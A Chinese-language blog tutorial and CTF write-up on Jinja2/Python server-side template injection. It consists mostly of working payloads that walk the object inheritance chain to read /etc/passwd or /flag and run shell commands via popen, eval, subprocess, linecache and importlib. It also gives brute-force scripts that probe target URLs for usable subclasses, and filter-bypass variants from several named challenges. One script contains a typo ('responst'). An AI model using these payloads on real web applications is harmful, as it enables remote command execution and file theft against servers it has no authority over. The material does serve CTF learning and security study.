本文最后更新于 2026年2月1日 晚上
前置知识 本篇的继承链的作用就是寻找os模块并利用,我们依然有不用os模块的解法
1 {{open('/flag').read()}}
利用逻辑 classA 子类
base方法找父类,object是最顶端,mro方法向上找所有父类,subclasses方法向下找所有子类
常用注入模块 1.文件读取 1 <class '_frozen_importlib_external.FileLoader'>
要找到这个fileloader模块
python脚本查找 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests url='' for i in range (500 ): data={"name" :"{{().__class__.__base__.__subclasses__()[" +str (i)+"]}}" } try : response=requests.post(url,data=data) if response.status_code==200 : if '_frozen_importlib_external.FileLoader' in response.text: print (i) except : pass
fileloader模块的利用方式 1 {{'' .__class__.__mro__[1 ].__subclasses__()[79 ]["get_data" ](0 ,"/etc/passwd" )}}
找到fileloader模块后就可以get data读取文件(subclasses后面不一定是79,要根据实际情况找),第一个参数是0保持不变,第二个就是要查看的文件路径
2.内嵌函数eval执行命令 python脚本查看可以利用内建函数eval的模块 1 2 3 4 5 6 7 8 9 10 11 12 13 import requests url='' for i in range (500 ): data={"name" :"{{().__class__.__base__.__subclasses__()[" +str (i)+"].__init__.__globals__['__builtins__']}}" } try : response=requests.post(url,data=data) if response.status_code==200 : if 'eval' in response.text: print (i) except : pass
可能会有很多都有eval函数,随便选一个用就行
eval函数用法
1 {{'' .__class__.__bases__[0 ].__subclasses__()[65 ].__init__.__globals__['__builtins__' ]['eval' ]('__import__("os").popen("cat /etc/passwd").read()' )}}
3.os模块执行命令 在其他函数中直接调用os模块 通过config调用os
1 {{config.__class__.__init__.__globals__['os' ].popen('whoami' ).read()}}
通过url_for调用os
1 {{url_for.__globals__.os.popen('whoami' ).read()}}
在已经加载os模块的子类里直接调用os模块
1 2 {{'' .__class__.__bases__[0 ].__subclasses__()[199 ].__init__.__globals__['popen' ]("ls /" ).read()}} {{().__class__.__bases__[0 ].__subclasses__()[64 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('ls /')" ).read()}}
python脚本查找已经加载os模块的子类 1 2 3 4 5 6 7 8 9 10 11 12 import requests url='' for i in range (500 ): data={"name" :"{{().__class__.__base__.__subclasses__()[" +str (i)+"].__init__.__globals__}}" } try : response=requests.post(url,data=data) if response.status_code==200 : if 'os.py' in responst.text: print (i) except : pass
4.importlib类执行命令 可以加载第三方库,使用load_module加载os
python脚本查找 1 2 3 4 5 6 7 8 9 10 11 12 _frozen_importlib.BuiltinImporter import requests url='' for i in range(500): data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"} try: response=requests.post(url,data=data) if response.status_code==200: if '_frozen_importlib.BuiltinImporter' in response.text: print(i) except: pass
用法 1 {{'' .__class__.__base__.__subclasses__()[69 ]["load_module" ]("os" )["popen" ]("ls /" ).read()}}
5.linecache函数执行命令 linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用这个linecache函数去执行命令
python脚本查找 1 2 3 4 5 6 7 8 9 10 11 import requests url='' for i in range (500 ): data={"name" :"{{().__class__.__base__.__subclasses__()[" +str (i)+"].__init__.__globals__}}" } try : response=requests.post(url,data=data) if response.status_code==200 : if 'linecache' in response.text: print (i) except : pass
用法 1 2 {{().__class__.__base__.__subclasses__()[191 ].__init__.__globals__['linecache' ]['os' ].popen("ls /" ).read()}} {{().__class__.__base__.__subclasses__()[192 ].__init__.__globals__.linecache.os.popen("ls /" ).read()}}
6.subprocess.Popen类执行命令 从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
subprocess意在替代其他几个老的模块或者函数,比如os.system或者os.popen等函数
python脚本查找 1 2 3 4 5 6 7 8 9 10 11 import requests url='' for i in range (500 ): data={"name" :"{{().__class__.__base__.__subclasses__()[" +str (i)+"]}}" } try : response=requests.post(url,data=data) if response.status_code==200 : if 'subprocess.Popen' in response.text: print (i) except : pass
用法
1 {{'' .__class__.__base__.__subclasses__()[200 ]('ls /' ,shell=True ,stdout=-1 ).communicate()[0 ].strip()}}
实战 [PCTF2025]复读机 非常简单的SSTI,没有过滤,直接用config链
1 {{config.__class__.__init__.__globals__ ['os'].popen('env' ).read()}}
[SDPCSEC第一次纳新]reallogin
一个登录页面,渲染用户名,猜测SSTI,测试一下
回显49,有WAF,用burp扫一下
点字符和一些关键字被ban了
这里我选择用cycler的链子+拼写绕过
1 {{(cycler['next' ]['__g' 'lobals__' ]['o' 's' ]['p' 'open' ]('cat /f*' ))['read' ]()}}
wp用的是通用对象链,先查询子类
1 {{'' ['__cla' +'ss__' ]['__ba' +'ses__' ][0 ]['__subc' +'lasses__' ]()}}
1 2 {{'' ['__cla' +'ss__' ]['__ba' +'ses__' ][0 ]['__subc' +'lasses__' ]()[132 ]['__in' +'it__' ]['__glo' +'bals__' ]['po' +'pen' ] ('cat /f*' )|attr('read' )()}}
[BaseCTF2024]复读机 算是上面那个的进阶版,过滤了很多字符和关键字,而且设定了格式和括号匹配所以测起来比较麻烦
一定要用BaseCTF{%print()}包裹,不然测不出来
1 + - * / . {{ }} __ : " \
这些符号被过滤了
/被过滤了比较难处理,我用了ASCII码绕过
1 BaseCTF {% set sun='%c%c%c%c%c%c%c' %(99 ,97 ,116 ,32 ,47 ,102 ,42 )%} {% print ((sb| attr('_' '_eq_' '_' ))['_' '_' 'g' 'lobals' '_' '_' ]['sys' ]['modules' ]['o' 's' ]['p' 'open' ](sun))['read' ]()%}
wp中的法一与我的方法类似,它用的是通用对象链
1 2 BaseCTF {% set cmd='cat ' ~'%c' %(47 )~'flag' %} {% print ('' ['_' '_cl' 'ass_' '_' ]['_' '_ba' 'se_' '_' ]['_' '_subcla' 'sses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_glo' 'bals_' '_' ]['po' 'pen' ](cmd)['rea' 'd' ]())%}
法二:利用环境变量的值
查看环境变量,可以看到 `OLDPWD=/`
1 BaseCTF{%print('' ['_' '_cl' 'ass_' '_' ]['_' '_ba' 'se_' '_' ]['_' '_subcla' 'sses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_glo' 'bals_' '_' ]['po' 'pen' ]('env' )['rea' 'd' ]())%}
此时可以直接利用它来切换到根目录,然后再读flag
1 BaseCTF{%print ('' ['_' '_cl' 'ass_' '_' ]['_' '_ba' 'se_' '_' ]['_' '_subcla' 'sses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_glo' 'bals_' '_' ]['po' 'pen' ]('cd $OLDPWD ;cat flag' )['rea' 'd' ]())%}
法三:利用 `expr substr` 切割出一个 `/`
比如 pwd 中的第一个字符就是 `/` ,那用 `expr substr` 切割出来后,之后就可以像法二那样切换到根目录然后读 flag 了
1 BaseCTF{%print ('' ['_' '_cl' 'ass_' '_' ]['_' '_ba' 'se_' '_' ]['_' '_subcla' 'sses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_glo' 'bals_' '_' ]['po' 'pen' ]('a=`pwd`;a=`expr substr $a 1 1`;cd $a ;cat flag' )['rea' 'd' ]())%}
`pwd` 的作用是打印当前工作目录的**绝对路径**,所以它的输出必然以 `/` 开头
{% raw %}